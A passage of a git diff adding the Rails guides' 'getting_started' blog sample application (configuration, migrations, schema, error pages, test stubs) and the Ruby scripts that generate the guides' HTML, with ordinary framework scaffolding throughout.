+ # Use default logging formatter so that PID and timestamp are not suppressed.
+ config.log_formatter = ::Logger::Formatter.new
+end
diff --git a/guides/code/getting_started/config/environments/test.rb b/guides/code/getting_started/config/environments/test.rb
new file mode 100644
index 0000000..00adaa5
--- /dev/null
+++ b/guides/code/getting_started/config/environments/test.rb
@@ -0,0 +1,36 @@
+Blog::Application.configure do
+ # Settings specified here will take precedence over those in config/application.rb.
+
+ # The test environment is used exclusively to run your application's
+ # test suite. You never need to work with it otherwise. Remember that
+ # your test database is "scratch space" for the test suite and is wiped
+ # and recreated between test runs. Don't rely on the data there!
+ config.cache_classes = true
+
+ # Do not eager load code on boot. This avoids loading your whole application
+ # just for the purpose of running a single test. If you are using a tool that
+ # preloads Rails for running tests, you may have to set it to true.
+ config.eager_load = false
+
+ # Configure static asset server for tests with Cache-Control for performance.
+ config.serve_static_assets = true
+ config.static_cache_control = "public, max-age=3600"
+
+ # Show full error reports and disable caching.
+ config.consider_all_requests_local = true
+ config.action_controller.perform_caching = false
+
+ # Raise exceptions instead of rendering exception templates.
+ config.action_dispatch.show_exceptions = false
+
+ # Disable request forgery protection in test environment.
+ config.action_controller.allow_forgery_protection = false
+
+ # Tell Action Mailer not to deliver emails to the real world.
+ # The :test delivery method accumulates sent emails in the
+ # ActionMailer::Base.deliveries array.
+ config.action_mailer.delivery_method = :test
+
+ # Print deprecation notices to the stderr.
+ config.active_support.deprecation = :stderr
+end
diff --git a/guides/code/getting_started/config/initializers/backtrace_silencers.rb b/guides/code/getting_started/config/initializers/backtrace_silencers.rb
new file mode 100644
index 0000000..59385cd
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/backtrace_silencers.rb
@@ -0,0 +1,7 @@
+# Be sure to restart your server when you modify this file.
+
+# You can add backtrace silencers for libraries that you're using but don't wish to see in your backtraces.
+# Rails.backtrace_cleaner.add_silencer { |line| line =~ /my_noisy_library/ }
+
+# You can also remove all the silencers if you're trying to debug a problem that might stem from framework code.
+# Rails.backtrace_cleaner.remove_silencers!
diff --git a/guides/code/getting_started/config/initializers/filter_parameter_logging.rb b/guides/code/getting_started/config/initializers/filter_parameter_logging.rb
new file mode 100644
index 0000000..4a994e1
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/filter_parameter_logging.rb
@@ -0,0 +1,4 @@
+# Be sure to restart your server when you modify this file.
+
+# Configure sensitive parameters which will be filtered from the log file.
+Rails.application.config.filter_parameters += [:password]
diff --git a/guides/code/getting_started/config/initializers/inflections.rb b/guides/code/getting_started/config/initializers/inflections.rb
new file mode 100644
index 0000000..ac033bf
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/inflections.rb
@@ -0,0 +1,16 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new inflection rules using the following format. Inflections
+# are locale specific, and you may define rules for as many different
+# locales as you wish. All of these examples are active by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+# inflect.plural /^(ox)$/i, '\1en'
+# inflect.singular /^(ox)en/i, '\1'
+# inflect.irregular 'person', 'people'
+# inflect.uncountable %w( fish sheep )
+# end
+
+# These inflection rules are supported but not enabled by default:
+# ActiveSupport::Inflector.inflections(:en) do |inflect|
+# inflect.acronym 'RESTful'
+# end
diff --git a/guides/code/getting_started/config/initializers/locale.rb b/guides/code/getting_started/config/initializers/locale.rb
new file mode 100644
index 0000000..d89dac7
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/locale.rb
@@ -0,0 +1,9 @@
+# Be sure to restart your server when you modify this file.
+
+# Set Time.zone default to the specified zone and make Active Record auto-convert to this zone.
+# Run "rake -D time" for a list of tasks for finding time zone names. Default is UTC.
+# Rails.application.config.time_zone = 'Central Time (US & Canada)'
+
+# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
+# Rails.application.config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
+# Rails.application.config.i18n.default_locale = :de
diff --git a/guides/code/getting_started/config/initializers/mime_types.rb b/guides/code/getting_started/config/initializers/mime_types.rb
new file mode 100644
index 0000000..72aca7e
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/mime_types.rb
@@ -0,0 +1,5 @@
+# Be sure to restart your server when you modify this file.
+
+# Add new mime types for use in respond_to blocks:
+# Mime::Type.register "text/richtext", :rtf
+# Mime::Type.register_alias "text/html", :iphone
diff --git a/guides/code/getting_started/config/initializers/secret_token.rb b/guides/code/getting_started/config/initializers/secret_token.rb
new file mode 100644
index 0000000..aaf5773
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/secret_token.rb
@@ -0,0 +1,12 @@
+# Be sure to restart your server when you modify this file.
+
+# Your secret key for verifying the integrity of signed cookies.
+# If you change this key, all old signed cookies will become invalid!
+
+# Make sure the secret is at least 30 characters and all random,
+# no regular words or you'll be exposed to dictionary attacks.
+# You can use `rake secret` to generate a secure secret key.
+
+# Make sure your secret_key_base is kept private
+# if you're sharing your code publicly.
+Blog::Application.config.secret_key_base = 'e8aab50cec8a06a75694111a4cbaf6e22fc288ccbc6b268683aae7273043c69b15ca07d10c92a788dd6077a54762cbfcc55f19c3459f7531221b3169f8171a53'
diff --git a/guides/code/getting_started/config/initializers/session_store.rb b/guides/code/getting_started/config/initializers/session_store.rb
new file mode 100644
index 0000000..3b2ca93
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/session_store.rb
@@ -0,0 +1,3 @@
+# Be sure to restart your server when you modify this file.
+
+Blog::Application.config.session_store :cookie_store, key: '_blog_session'
diff --git a/guides/code/getting_started/config/initializers/wrap_parameters.rb b/guides/code/getting_started/config/initializers/wrap_parameters.rb
new file mode 100644
index 0000000..33725e9
--- /dev/null
+++ b/guides/code/getting_started/config/initializers/wrap_parameters.rb
@@ -0,0 +1,14 @@
+# Be sure to restart your server when you modify this file.
+
+# This file contains settings for ActionController::ParamsWrapper which
+# is enabled by default.
+
+# Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array.
+ActiveSupport.on_load(:action_controller) do
+ wrap_parameters format: [:json] if respond_to?(:wrap_parameters)
+end
+
+# To enable root element in JSON for ActiveRecord objects.
+# ActiveSupport.on_load(:active_record) do
+# self.include_root_in_json = true
+# end
diff --git a/guides/code/getting_started/config/locales/en.yml b/guides/code/getting_started/config/locales/en.yml
new file mode 100644
index 0000000..0653957
--- /dev/null
+++ b/guides/code/getting_started/config/locales/en.yml
@@ -0,0 +1,23 @@
+# Files in the config/locales directory are used for internationalization
+# and are automatically loaded by Rails. If you want to use locales other
+# than English, add the necessary files in this directory.
+#
+# To use the locales, use `I18n.t`:
+#
+# I18n.t 'hello'
+#
+# In views, this is aliased to just `t`:
+#
+# <%= t('hello') %>
+#
+# To use a different locale, set it with `I18n.locale`:
+#
+# I18n.locale = :es
+#
+# This would use the information in config/locales/es.yml.
+#
+# To learn more, please read the Rails Internationalization guide
+# available at http://guides.rubyonrails.org/i18n.html.
+
+en:
+ hello: "Hello world"
diff --git a/guides/code/getting_started/config/routes.rb b/guides/code/getting_started/config/routes.rb
new file mode 100644
index 0000000..0155b61
--- /dev/null
+++ b/guides/code/getting_started/config/routes.rb
@@ -0,0 +1,7 @@
+Blog::Application.routes.draw do
+ resources :posts do
+ resources :comments
+ end
+
+ root "welcome#index"
+end
diff --git a/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb b/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb
new file mode 100644
index 0000000..602bef3
--- /dev/null
+++ b/guides/code/getting_started/db/migrate/20130122042648_create_posts.rb
@@ -0,0 +1,10 @@
+class CreatePosts < ActiveRecord::Migration
+ def change
+ create_table :posts do |t|
+ t.string :title
+ t.text :text
+
+ t.timestamps
+ end
+ end
+end
diff --git a/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb b/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb
new file mode 100644
index 0000000..3e51f9c
--- /dev/null
+++ b/guides/code/getting_started/db/migrate/20130122045842_create_comments.rb
@@ -0,0 +1,11 @@
+class CreateComments < ActiveRecord::Migration
+ def change
+ create_table :comments do |t|
+ t.string :commenter
+ t.text :body
+ t.references :post, index: true
+
+ t.timestamps
+ end
+ end
+end
diff --git a/guides/code/getting_started/db/schema.rb b/guides/code/getting_started/db/schema.rb
new file mode 100644
index 0000000..101fe71
--- /dev/null
+++ b/guides/code/getting_started/db/schema.rb
@@ -0,0 +1,33 @@
+# encoding: UTF-8
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
+# Note that this schema.rb definition is the authoritative source for your
+# database schema. If you need to create the application database on another
+# system, you should be using db:schema:load, not running all the migrations
+# from scratch. The latter is a flawed and unsustainable approach (the more migrations
+# you'll amass, the slower it'll run and the greater likelihood for issues).
+#
+# It's strongly recommended that you check this file into your version control system.
+
+ActiveRecord::Schema.define(version: 20130122045842) do
+
+ create_table "comments", force: true do |t|
+ t.string "commenter"
+ t.text "body"
+ t.integer "post_id"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+ add_index "comments", ["post_id"], name: "index_comments_on_post_id"
+
+ create_table "posts", force: true do |t|
+ t.string "title"
+ t.text "text"
+ t.datetime "created_at"
+ t.datetime "updated_at"
+ end
+
+end
diff --git a/guides/code/getting_started/db/seeds.rb b/guides/code/getting_started/db/seeds.rb
new file mode 100644
index 0000000..4edb1e8
--- /dev/null
+++ b/guides/code/getting_started/db/seeds.rb
@@ -0,0 +1,7 @@
+# This file should contain all the record creation needed to seed the database with its default values.
+# The data can then be loaded with the rake db:seed (or created alongside the db with db:setup).
+#
+# Examples:
+#
+# cities = City.create([{ name: 'Chicago' }, { name: 'Copenhagen' }])
+# Mayor.create(name: 'Emanuel', city: cities.first)
diff --git a/guides/code/getting_started/lib/assets/.keep b/guides/code/getting_started/lib/assets/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/lib/tasks/.keep b/guides/code/getting_started/lib/tasks/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/log/.keep b/guides/code/getting_started/log/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/public/404.html b/guides/code/getting_started/public/404.html
new file mode 100644
index 0000000..3d287b1
--- /dev/null
+++ b/guides/code/getting_started/public/404.html
@@ -0,0 +1,58 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>The page you were looking for doesn't exist (404)</title>
+ <style>
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ }
+
+ div.dialog {
+ width: 25em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 4em 0 4em;
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ body > p {
+ width: 33em;
+ margin: 0 auto 1em;
+ padding: 1em 0;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/404.html -->
+ <div class="dialog">
+ <h1>The page you were looking for doesn't exist.</h1>
+ <p>You may have mistyped the address or the page may have moved.</p>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/guides/code/getting_started/public/422.html b/guides/code/getting_started/public/422.html
new file mode 100644
index 0000000..3b946bf
--- /dev/null
+++ b/guides/code/getting_started/public/422.html
@@ -0,0 +1,58 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>The change you wanted was rejected (422)</title>
+ <style>
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ }
+
+ div.dialog {
+ width: 25em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 4em 0 4em;
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ body > p {
+ width: 33em;
+ margin: 0 auto 1em;
+ padding: 1em 0;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/422.html -->
+ <div class="dialog">
+ <h1>The change you wanted was rejected.</h1>
+ <p>Maybe you tried to change something you didn't have access to.</p>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/guides/code/getting_started/public/500.html b/guides/code/getting_started/public/500.html
new file mode 100644
index 0000000..ccc4ad5
--- /dev/null
+++ b/guides/code/getting_started/public/500.html
@@ -0,0 +1,57 @@
+<!DOCTYPE html>
+<html>
+<head>
+ <title>We're sorry, but something went wrong (500)</title>
+ <style>
+ body {
+ background-color: #EFEFEF;
+ color: #2E2F30;
+ text-align: center;
+ font-family: arial, sans-serif;
+ }
+
+ div.dialog {
+ width: 25em;
+ margin: 4em auto 0 auto;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-left-color: #999;
+ border-bottom-color: #BBB;
+ border-top: #B00100 solid 4px;
+ border-top-left-radius: 9px;
+ border-top-right-radius: 9px;
+ background-color: white;
+ padding: 7px 4em 0 4em;
+ }
+
+ h1 {
+ font-size: 100%;
+ color: #730E15;
+ line-height: 1.5em;
+ }
+
+ body > p {
+ width: 33em;
+ margin: 0 auto 1em;
+ padding: 1em 0;
+ background-color: #F7F7F7;
+ border: 1px solid #CCC;
+ border-right-color: #999;
+ border-bottom-color: #999;
+ border-bottom-left-radius: 4px;
+ border-bottom-right-radius: 4px;
+ border-top-color: #DADADA;
+ color: #666;
+ box-shadow: 0 3px 8px rgba(50, 50, 50, 0.17);
+ }
+ </style>
+</head>
+
+<body>
+ <!-- This file lives in public/500.html -->
+ <div class="dialog">
+ <h1>We're sorry, but something went wrong.</h1>
+ </div>
+ <p>If you are the application owner check the logs for more information.</p>
+</body>
+</html>
diff --git a/guides/code/getting_started/public/favicon.ico b/guides/code/getting_started/public/favicon.ico
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/public/robots.txt b/guides/code/getting_started/public/robots.txt
new file mode 100644
index 0000000..1a3a5e4
--- /dev/null
+++ b/guides/code/getting_started/public/robots.txt
@@ -0,0 +1,5 @@
+# See http://www.robotstxt.org/wc/norobots.html for documentation on how to use the robots.txt file
+#
+# To ban all spiders from the entire site uncomment the next two lines:
+# User-agent: *
+# Disallow: /
diff --git a/guides/code/getting_started/test/controllers/.keep b/guides/code/getting_started/test/controllers/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/test/controllers/comments_controller_test.rb b/guides/code/getting_started/test/controllers/comments_controller_test.rb
new file mode 100644
index 0000000..2ec71b4
--- /dev/null
+++ b/guides/code/getting_started/test/controllers/comments_controller_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class CommentsControllerTest < ActionController::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/guides/code/getting_started/test/controllers/posts_controller_test.rb b/guides/code/getting_started/test/controllers/posts_controller_test.rb
new file mode 100644
index 0000000..7a6ee4f
--- /dev/null
+++ b/guides/code/getting_started/test/controllers/posts_controller_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/guides/code/getting_started/test/controllers/welcome_controller_test.rb b/guides/code/getting_started/test/controllers/welcome_controller_test.rb
new file mode 100644
index 0000000..dff8e9d
--- /dev/null
+++ b/guides/code/getting_started/test/controllers/welcome_controller_test.rb
@@ -0,0 +1,9 @@
+require 'test_helper'
+
+class WelcomeControllerTest < ActionController::TestCase
+ test "should get index" do
+ get :index
+ assert_response :success
+ end
+
+end
diff --git a/guides/code/getting_started/test/fixtures/.keep b/guides/code/getting_started/test/fixtures/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/test/fixtures/comments.yml b/guides/code/getting_started/test/fixtures/comments.yml
new file mode 100644
index 0000000..0cd3606
--- /dev/null
+++ b/guides/code/getting_started/test/fixtures/comments.yml
@@ -0,0 +1,11 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+
+one:
+ commenter: MyString
+ body: MyText
+ post_id:
+
+two:
+ commenter: MyString
+ body: MyText
+ post_id:
diff --git a/guides/code/getting_started/test/fixtures/posts.yml b/guides/code/getting_started/test/fixtures/posts.yml
new file mode 100644
index 0000000..617a24b
--- /dev/null
+++ b/guides/code/getting_started/test/fixtures/posts.yml
@@ -0,0 +1,9 @@
+# Read about fixtures at http://api.rubyonrails.org/classes/ActiveRecord/Fixtures.html
+
+one:
+ title: MyString
+ text: MyText
+
+two:
+ title: MyString
+ text: MyText
diff --git a/guides/code/getting_started/test/helpers/.keep b/guides/code/getting_started/test/helpers/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/test/helpers/comments_helper_test.rb b/guides/code/getting_started/test/helpers/comments_helper_test.rb
new file mode 100644
index 0000000..2518c16
--- /dev/null
+++ b/guides/code/getting_started/test/helpers/comments_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class CommentsHelperTest < ActionView::TestCase
+end
diff --git a/guides/code/getting_started/test/helpers/posts_helper_test.rb b/guides/code/getting_started/test/helpers/posts_helper_test.rb
new file mode 100644
index 0000000..48549c2
--- /dev/null
+++ b/guides/code/getting_started/test/helpers/posts_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class PostsHelperTest < ActionView::TestCase
+end
diff --git a/guides/code/getting_started/test/helpers/welcome_helper_test.rb b/guides/code/getting_started/test/helpers/welcome_helper_test.rb
new file mode 100644
index 0000000..d6ded59
--- /dev/null
+++ b/guides/code/getting_started/test/helpers/welcome_helper_test.rb
@@ -0,0 +1,4 @@
+require 'test_helper'
+
+class WelcomeHelperTest < ActionView::TestCase
+end
diff --git a/guides/code/getting_started/test/integration/.keep b/guides/code/getting_started/test/integration/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/test/mailers/.keep b/guides/code/getting_started/test/mailers/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/test/models/.keep b/guides/code/getting_started/test/models/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/test/models/comment_test.rb b/guides/code/getting_started/test/models/comment_test.rb
new file mode 100644
index 0000000..b6d6131
--- /dev/null
+++ b/guides/code/getting_started/test/models/comment_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class CommentTest < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/guides/code/getting_started/test/models/post_test.rb b/guides/code/getting_started/test/models/post_test.rb
new file mode 100644
index 0000000..6d9d463
--- /dev/null
+++ b/guides/code/getting_started/test/models/post_test.rb
@@ -0,0 +1,7 @@
+require 'test_helper'
+
+class PostTest < ActiveSupport::TestCase
+ # test "the truth" do
+ # assert true
+ # end
+end
diff --git a/guides/code/getting_started/test/test_helper.rb b/guides/code/getting_started/test/test_helper.rb
new file mode 100644
index 0000000..f91a437
--- /dev/null
+++ b/guides/code/getting_started/test/test_helper.rb
@@ -0,0 +1,15 @@
+ENV["RAILS_ENV"] = "test"
+require File.expand_path('../../config/environment', __FILE__)
+require 'rails/test_help'
+
+class ActiveSupport::TestCase
+ ActiveRecord::Migration.check_pending!
+
+ # Setup all fixtures in test/fixtures/*.yml for all tests in alphabetical order.
+ #
+ # Note: You'll currently still have to declare fixtures explicitly in integration tests
+ # -- they do not yet inherit this setting
+ fixtures :all
+
+ # Add more helper methods to be used by all tests here...
+end
diff --git a/guides/code/getting_started/vendor/assets/javascripts/.keep b/guides/code/getting_started/vendor/assets/javascripts/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/code/getting_started/vendor/assets/stylesheets/.keep b/guides/code/getting_started/vendor/assets/stylesheets/.keep
new file mode 100644
index 0000000..e69de29
diff --git a/guides/rails_guides.rb b/guides/rails_guides.rb
new file mode 100644
index 0000000..ab890f2
--- /dev/null
+++ b/guides/rails_guides.rb
@@ -0,0 +1,44 @@
+pwd = File.dirname(__FILE__)
+$:.unshift pwd
+
+# This is a predicate useful for the doc:guides task of applications.
+def bundler?
+ # Note that rake sets the cwd to the one that contains the Rakefile
+ # being executed.
+ File.exists?('Gemfile')
+end
+
+begin
+ # Guides generation in the Rails repo.
+ as_lib = File.join(pwd, "../activesupport/lib")
+ ap_lib = File.join(pwd, "../actionpack/lib")
+
+ $:.unshift as_lib if File.directory?(as_lib)
+ $:.unshift ap_lib if File.directory?(ap_lib)
+rescue LoadError
+ # Guides generation from gems.
+ gem "actionpack", '>= 3.0'
+end
+
+begin
+ require 'redcarpet'
+rescue Gem::LoadError
+ # This can happen if doc:guides is executed in an application.
+ $stderr.puts('Generating guides requires Redcarpet 2.1.1+.')
+ $stderr.puts(<<ERROR) if bundler?
+Please add
+
+ gem 'redcarpet', '~> 2.1.1'
+
+to the Gemfile, run
+
+ bundle install
+
+and try again.
+ERROR
+ exit 1
+end
+
+require 'rails_guides/markdown'
+require "rails_guides/generator"
+RailsGuides::Generator.new.generate
diff --git a/guides/rails_guides/generator.rb b/guides/rails_guides/generator.rb
new file mode 100644
index 0000000..af9c5b8
--- /dev/null
+++ b/guides/rails_guides/generator.rb
@@ -0,0 +1,248 @@
+# ---------------------------------------------------------------------------
+#
+# This script generates the guides. It can be invoked via the
+# guides:generate rake task within the guides directory.
+#
+# Guides are taken from the source directory, and the resulting HTML goes into the
+# output directory. Assets are stored under files, and copied to output/files as
+# part of the generation process.
+#
+# Some arguments may be passed via environment variables:
+#
+# WARNINGS
+# If you are writing a guide, please work always with WARNINGS=1. Users can
+# generate the guides, and thus this flag is off by default.
+#
+# Internal links (anchors) are checked. If a reference is broken levenshtein
+# distance is used to suggest an existing one. This is useful since IDs are
+# generated by Markdown from headers and thus edits alter them.
+#
+# Also detects duplicated IDs. They happen if there are headers with the same
+# text. Please do resolve them, if any, so guides are valid XHTML.
+#
+# ALL
+# Set to "1" to force the generation of all guides.
+#
+# ONLY
+# Use ONLY if you want to generate only one or a set of guides. Prefixes are
+# enough:
+#
+# # generates only association_basics.html
+# ONLY=assoc ruby rails_guides.rb
+#
+# Separate many using commas:
+#
+# # generates only association_basics.html and migrations.html
+# ONLY=assoc,migrations ruby rails_guides.rb
+#
+# Note that if you are working on a guide generation will by default process
+# only that one, so ONLY is rarely used nowadays.
+#
+# GUIDES_LANGUAGE
+# Use GUIDES_LANGUAGE when you want to generate translated guides in
+# <tt>source/<GUIDES_LANGUAGE></tt> folder (such as <tt>source/es</tt>).
+# Ignore it when generating English guides.
+#
+# EDGE
+# Set to "1" to indicate generated guides should be marked as edge. This
+# inserts a badge and changes the preamble of the home page.
+#
+# ---------------------------------------------------------------------------
+
+require 'set'
+require 'fileutils'
+
+require 'active_support/core_ext/string/output_safety'
+require 'active_support/core_ext/object/blank'
+require 'action_controller'
+require 'action_view'
+
+require 'rails_guides/indexer'
+require 'rails_guides/helpers'
+require 'rails_guides/levenshtein'
+
+module RailsGuides
+ class Generator
+ attr_reader :guides_dir, :source_dir, :output_dir, :edge, :warnings, :all
+
+ GUIDES_RE = /\.(?:erb|md)\z/
+
+ def initialize(output=nil)
+ set_flags_from_environment
+
+ if kindle?
+ check_for_kindlegen
+ register_kindle_mime_types
+ end
+
+ initialize_dirs(output)
+ create_output_dir_if_needed
+ end
+
+ def set_flags_from_environment
+ @edge = ENV['EDGE'] == '1'
+ @warnings = ENV['WARNINGS'] == '1'
+ @all = ENV['ALL'] == '1'
+ @kindle = ENV['KINDLE'] == '1'
+ @version = ENV['RAILS_VERSION'] || 'local'
+ @lang = ENV['GUIDES_LANGUAGE']
+ end
+
+ def register_kindle_mime_types
+ Mime::Type.register_alias("application/xml", :opf, %w(opf))
+ Mime::Type.register_alias("application/xml", :ncx, %w(ncx))
+ end
+
+ def generate
+ generate_guides
+ copy_assets
+ generate_mobi if kindle?
+ end
+
+ private
+
+ def kindle?
+ @kindle
+ end
+
+ def check_for_kindlegen
+ if `which kindlegen`.blank?
+ raise "Can't create a kindle version without `kindlegen`."
+ end
+ end
+
+ def generate_mobi
+ require 'rails_guides/kindle'
+ out = "#{output_dir}/kindlegen.out"
+ Kindle.generate(output_dir, mobi, out)
+ puts "(kindlegen log at #{out})."
+ end
+
+ def mobi
+ "ruby_on_rails_guides_#@version%s.mobi" % (@lang.present? ? ".#@lang" : '')
+ end
+
+ def initialize_dirs(output)
+ @guides_dir = File.join(File.dirname(__FILE__), '..')
+ @source_dir = "#@guides_dir/source/#@lang"
+ @output_dir = if output
+ output
+ elsif kindle?
+ "#@guides_dir/output/kindle/#@lang"
+ else
+ "#@guides_dir/output/#@lang"
+ end.sub(%r</$>, '')
+ end
+
+ def create_output_dir_if_needed
+ FileUtils.mkdir_p(output_dir)
+ end
+
+ def generate_guides
+ guides_to_generate.each do |guide|
+ output_file = output_file_for(guide)
+ generate_guide(guide, output_file) if generate?(guide, output_file)
+ end
+ end
+
+ def guides_to_generate
+ guides = Dir.entries(source_dir).grep(GUIDES_RE)
+
+ if kindle?
+ Dir.entries("#{source_dir}/kindle").grep(GUIDES_RE).map do |entry|
+ next if entry == 'KINDLE.md'
+ guides << "kindle/#{entry}"
+ end
+ end
+
+ ENV.key?('ONLY') ? select_only(guides) : guides
+ end
+
+ def select_only(guides)
+ prefixes = ENV['ONLY'].split(",").map(&:strip)
+ guides.select do |guide|
+ prefixes.any? { |p| guide.start_with?(p) || guide.start_with?("kindle") }
+ end
+ end
+
+ def copy_assets
+ FileUtils.cp_r(Dir.glob("#{guides_dir}/assets/*"), output_dir)
+ end
+
+ def output_file_for(guide)
+ if guide.end_with?('.md')
+ guide.sub(/md\z/, 'html')
+ else
+ guide.sub(/\.erb\z/, '')
+ end
+ end
+
+ def output_path_for(output_file)
+ File.join(output_dir, File.basename(output_file))
+ end
+
+ def generate?(source_file, output_file)
+ fin = File.join(source_dir, source_file)
+ fout = output_path_for(output_file)
+ all || !File.exists?(fout) || File.mtime(fout) < File.mtime(fin)
+ end
+
+ def generate_guide(guide, output_file)
+ output_path = output_path_for(output_file)
+ puts "Generating #{guide} as #{output_file}"
+ layout = kindle? ? 'kindle/layout' : 'layout'
+
+ File.open(output_path, 'w') do |f|
+ view = ActionView::Base.new(source_dir, :edge => @edge, :version => @version, :mobi => "kindle/#{mobi}")
+ view.extend(Helpers)
+
+ if guide =~ /\.(\w+)\.erb$/
+ # Generate the special pages like the home.
+ # Passing a template handler in the template name is deprecated. So pass the file name without the extension.
+ result = view.render(:layout => layout, :formats => [$1], :file => $`)
+ else
+ body = File.read(File.join(source_dir, guide))
+ result = RailsGuides::Markdown.new(view, layout).render(body)
+
+ warn_about_broken_links(result) if @warnings
+ end
+
+ f.write(result)
+ end
+ end
+
+ def warn_about_broken_links(html)
+ anchors = extract_anchors(html)
+ check_fragment_identifiers(html, anchors)
+ end
+
+ def extract_anchors(html)
+ # Markdown generates headers with IDs computed from titles.
+ anchors = Set.new
+ html.scan(/<h\d\s+id="([^"]+)/).flatten.each do |anchor|
+ if anchors.member?(anchor)
+ puts "*** DUPLICATE ID: #{anchor}, please make sure that there're no headings with the same name at the same level."
+ else
+ anchors << anchor
+ end
+ end
+
+ # Footnotes.
+ anchors += Set.new(html.scan(/<p\s+class="footnote"\s+id="([^"]+)/).flatten)
+ anchors += Set.new(html.scan(/<sup\s+class="footnote"\s+id="([^"]+)/).flatten)
+ return anchors
+ end
+
+ def check_fragment_identifiers(html, anchors)
+ html.scan(/<a\s+href="#([^"]+)/).flatten.each do |fragment_identifier|
+ next if fragment_identifier == 'mainCol' # in layout, jumps to some DIV
+ unless anchors.member?(fragment_identifier)
+ guess = anchors.min { |a, b|
+ Levenshtein.distance(fragment_identifier, a) <=> Levenshtein.distance(fragment_identifier, b)
+ }
+ puts "*** BROKEN LINK: ##{fragment_identifier}, perhaps you meant ##{guess}."
+ end
+ end
+ end
+ end
+end
diff --git a/guides/rails_guides/helpers.rb b/guides/rails_guides/helpers.rb
new file mode 100644
index 0000000..a288d0f
--- /dev/null
+++ b/guides/rails_guides/helpers.rb
@@ -0,0 +1,51 @@
+module RailsGuides
+ module Helpers
+ def guide(name, url, options = {}, &block)
+ link = content_tag(:a, :href => url) { name }
+ result = content_tag(:dt, link)
+
+ if options[:work_in_progress]
+ result << content_tag(:dd, 'Work in progress', :class => 'work-in-progress')
+ end
+
+ result << content_tag(:dd, capture(&block))
+ result
+ end
+
+ def documents_by_section
+ @documents_by_section ||= YAML.load_file(File.expand_path('../../source/documents.yaml', __FILE__))
+ end
+
+ def documents_flat
+ documents_by_section.map {|section| section['documents']}.flatten
+ end
+
+ def finished_documents(documents)
+ documents.reject { |document| document['work_in_progress'] }
+ end
+
+ def docs_for_menu(position=nil)
+ if position.nil?
+ documents_by_section
+ elsif position == 'L'
